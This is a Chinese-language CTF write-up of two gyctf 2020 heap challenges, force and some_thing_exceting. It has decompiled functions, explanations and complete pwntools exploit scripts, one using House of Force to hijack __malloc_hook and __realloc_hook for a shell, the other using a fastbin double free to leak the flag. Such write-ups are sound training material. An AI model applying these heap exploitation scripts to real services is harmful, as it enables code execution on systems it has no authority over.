gyctf_2020_pwn

gyctf-2020也就是ichunqiu举办的一次公益ctf,在比赛中做出了一些题目,也有部分没做出来,通过赛后复盘学习一下姿势。


gyctf_2020_force

这道题当时是做出来的,听名字force就知道肯定是House_of_force了。主要涉及到force,malloc_hook,realloc_hook。

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 add()
{
void **v0; // ST00_8
char *i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 255, 0x100uLL);
for ( i = (char *)&unk_202080; *(_QWORD *)i; i += 8 )
;
if ( i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*(_QWORD *)i = malloc(size);
if ( !*(_QWORD *)i )
exit(0);
printf("bin addr %p\n", *(_QWORD *)i, i, size);
puts("content");
read(0, *v0, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v5;
}

两个子函数add和func_puts只有add是有用的。

整体思路

修改top_chunk_size,malloc到realloc_hook,修改realloc_hook为one_gadget,修改malloc_hook为realloc+offset。
offset根据one_gadget的具体条件调节。

House of force

House of force的条件
    1.能够修改到top_chunk的size。
    2.能够分配任意大小的chunk。

在本题里面两个条件都满足。

泄露libc基址

当申请比较大的值(通常0x20000以上)时,会mmap出一块地址,与libc基址有固定偏移,调试的时候计算一下偏移即可。

malloc_size的计算

当我们修改完size为0xffffffffffffffff之后,就可以分配任意大小的chunk了。

* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)

计算如上所示,nb是新分配的chunk的size。通过计算得出的req就是需要申请的大小。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python2
#-*-coding:utf-8-*-
from pwn import *
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')

# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
#context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
lg = lambda name,data :ctx.success(name + ": 0x%x" % data)
ctx.binary = './gyctf_2020_force'
ctx.remote = ('node3.buuoj.cn',27185)

libc = ELF("/root/software/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6")
# libc = ELF("/root/software/mylibc/64/libc-2.23.so")

def add(size,content):
ru("puts")
sl("1")
ru("size")
sl(str(size))
ru("addr ")
addr = int(ctx.recvuntil('\n',drop=True),16)
ru("content")
s(content)
return addr
rs()
# rs('remote') # uncomment this for exploiting remote target
# addr = add(0x200000,"a") # mmap出来的区域地址和libc基址有着固定的偏移。
addr = add(0x300000,"a")
# addr = add(0x180000,"a")
# lg("addr",addr)
# libc_base = addr + 0x200ff0 # no
libc_base = addr + 0x300ff0 # 0x300000
# libc_base = addr - 0x467010
lg("libc_base",libc_base)
addr = add(0x10,'\x00'*0x18+p64(0xffffffffffffffff))
heap_base = addr - 0x10
lg("heap_base",heap_base)

malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['realloc']
lg("malloc_hook",malloc_hook)
lg("realloc",realloc)
old_top = heap_base + 0x20

size = (malloc_hook-0x10) - old_top - 0x20
lg("Request size",size)
add(size,"c")
one_gadget = libc_base + 0x4526a
payload = p64(0) + p64(one_gadget) + p64(realloc+4)
add(0x10,payload)

# dbg("b *" + hex(one_gadget))
sla('puts\n',1)
sla('size\n',1)
irt()

gyctf_2020_some_thing_exceting

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 flag_init()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 0x60;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}

程序开始时把flag读到了bss中,并且在该地址上面有个地方存了值0x60。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !ptr[v1] )
{
puts("Emmmmmm!Maybe you want Fool me!");
myexit();
}
free(*(void **)ptr[v1]); // free之后没有设为0
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}

其中delete函数在free完相关地址后并没有把ptr[v1]置空,导致可以double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned __int64 create()
{
void *v0; // rsi
size_t nbytes; // [rsp+Ch] [rbp-24h]
int i; // [rsp+14h] [rbp-1Ch]
void *buf; // [rsp+18h] [rbp-18h]
void *v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("#######################");
puts("# Create Banana #");
puts("#---------------------#");
for ( i = 0; i <= 9 && ptr[i]; ++i ) // 最多10个
{
if ( i == 9 )
{
puts("# so much banana! #");
puts("#######################");
return __readfsqword(0x28u) ^ v6;
}
}
ptr[i] = malloc(0x10uLL); // 创建结构体
printf("> ba's length : ");
_isoc99_scanf("%d", &nbytes);
if ( (signed int)nbytes <= 0 || (signed int)nbytes > 0x70 )// 只能创建fastbin
{
puts("Emmmmmm!Maybe you want Fool me!");
myexit();
}
buf = malloc((signed int)nbytes);
printf("> ba : ", &nbytes);
v0 = buf;
read(0, buf, (unsigned int)nbytes);
printf("> na's length : ", v0);
_isoc99_scanf("%d", (char *)&nbytes + 4);
if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
myexit();
}
printf("> na : ", (char *)&nbytes + 4);
v5 = malloc(SHIDWORD(nbytes));
read(0, v5, HIDWORD(nbytes));
*(_QWORD *)ptr[i] = buf; // ba的地址
*((_QWORD *)ptr[i] + 1) = v5; // na的地址
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v6;
}

在create函数中可以清晰的看出ba和na的内容地址分别存在ptr[i]和ptr[i]+1中。
后面view函数打印的就是这两个地址的内容。所以我们要做的就是把flag那一块当做fake_chunk(size=0x60)填到某个ptr[i]中,到时候view(i)就可以打印出flag。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python2
#-*-coding:utf-8-*-
from pwn import *
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')

# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
lg = lambda name,data :ctx.success(name + ": 0x%x" % data)

ctx.binary = './gyctf_2020_some_thing_exceting'
ctx.remote = ('node3.buuoj.cn',27527)
libc = ELF("/root/software/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6")

flag_addr = 0x6020A8

# 考虑double_free

def create(ba_size,ba_cont,na_size,na_cont):
sla('to do :','1')
sla('length : ', ba_size)
sa('> ba : ', ba_cont)
sla('length : ', na_size)
sa('> na : ', na_cont)

def delete(idx):
sla('to do :','3')
sla('ID : ', idx)

def view(idx):
sla('to do :','4')
sla('project ID : ', idx)

rs()
# rs('remote')
create(0x20,'1',0x50,'2') #idx0
create(0x20,'3',0x50,'4') #idx1
delete(0)
delete(1)
delete(0)
dbg()
create(0x20,'3',0x50,p64(flag_addr-0x10))
create(0x50,'a',0x50,'b')
create(0x20,'c',0x50,'f')
view(4)
irt()

未完待续